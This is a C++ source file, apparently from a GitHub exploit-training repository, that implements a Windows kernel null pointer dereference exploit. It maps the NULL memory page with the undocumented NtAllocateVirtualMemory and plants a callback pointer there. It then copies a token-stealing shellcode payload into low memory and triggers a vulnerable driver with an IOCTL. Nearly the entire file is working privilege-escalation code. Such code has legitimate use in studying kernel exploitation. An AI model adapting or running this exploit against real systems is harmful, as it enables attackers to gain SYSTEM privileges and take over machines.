-
-
Notifications
You must be signed in to change notification settings - Fork 18
/
NullPointerDereference.cpp
95 lines (73 loc) · 2.87 KB
/
NullPointerDereference.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include "NullPointerDereference.h"
bool
ExploitNullPointerDereference::exploit() {
struct NullPtrObject {
DWORD someValue;
PVOID callback;
};
NullPtrObject obj {
// Must be the magic value
0xDEADBEEF, //Uninitialized_Magic_Value,
// Doesn't matter, Null page will be dereferenced after all
reinterpret_cast<PVOID>(0xDEADBEEF)
};
// NULL memory page address is obviously 0 address.
const PULONG nullMemoryPage = reinterpret_cast<PULONG>(0x00000000);
// We cannot pass the NULL value (0x0) to the NtAllocateVirtualMemory, but passing
// 0x1 will suffice as it gets rounded down to 0 anyway.
const PVOID baseAddress = reinterpret_cast<PVOID >(0x00000001);
// Address of the payload within user-mode memory.
const PVOID payloadAddress = reinterpret_cast<PVOID >(0x00000008);
// Any value in range <1, 0x1000> will be rounded-up to the 0x1000.
const ULONG regionSize = 0x1000;
/**
* Since both VirtualAlloc and VirtualAllocEx returns ERROR_INVALID_PARAMETER if the base address of the
* allocation is less than 0x00001000, we will have to use another approach to allocate this memory
* page. The approach is to use the undocumented `NtAllocateVirtualMemory` function, which do not
* holds the same restriction, as the aforementioned two functions.
**/
wcout << L"[.] Mapping NULL memory page..." << endl;
typeNtAllocateVirtualMemory NtAllocateVirtualMemory;
NtAllocateVirtualMemory = reinterpret_cast<typeNtAllocateVirtualMemory>(GetProcAddress(
GetModuleHandleW(L"ntdll.dll"),
"NtAllocateVirtualMemory"
));
// NULL page mapping allocation has been prohibited in Windows 8.0, but until that it is
// possible to allocate that specific memory page.
NTSTATUS stat = NtAllocateVirtualMemory (
reinterpret_cast<HANDLE>(0xffffffff),
&baseAddress,
0,
const_cast<PULONG>(®ionSize),
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
if(!NT_SUCCESS(stat)) {
wcerr << L"[!] NULL memory page mapping failed! Error: 0x" << hex
<< setw(8) << setfill(L'0') << stat << endl;
return false;
}
try {
NullPtrObject* objPtr = reinterpret_cast<NullPtrObject*>(nullMemoryPage);
// NULL memory page reference in order to set it up for the exploit.
// PS: We are *writing* to the address 0x00000004 in System's memory.
objPtr->callback = reinterpret_cast<PVOID>(payloadAddress);
auto shellcodePtr = adjustPayloadEpilogue(0);
memcpy(
payloadAddress,
*shellcodePtr,
tokenStealingPayloadSize
);
} catch(...) {
wcerr << L"[!] Writing to the NULL memory page failed, due to Access Violation."
<< "\tThis means we were not able to map that memory page. Exploit failure." << endl;
return false;
}
wcout << L"[+] NULL memory page successfully mapped & initialized." << endl;
bool ret = driver.SendIOCTL (
ExploitNullPointerDereference::Ioctl_Code,
&obj,
sizeof(NullPtrObject)
);
return ret;
}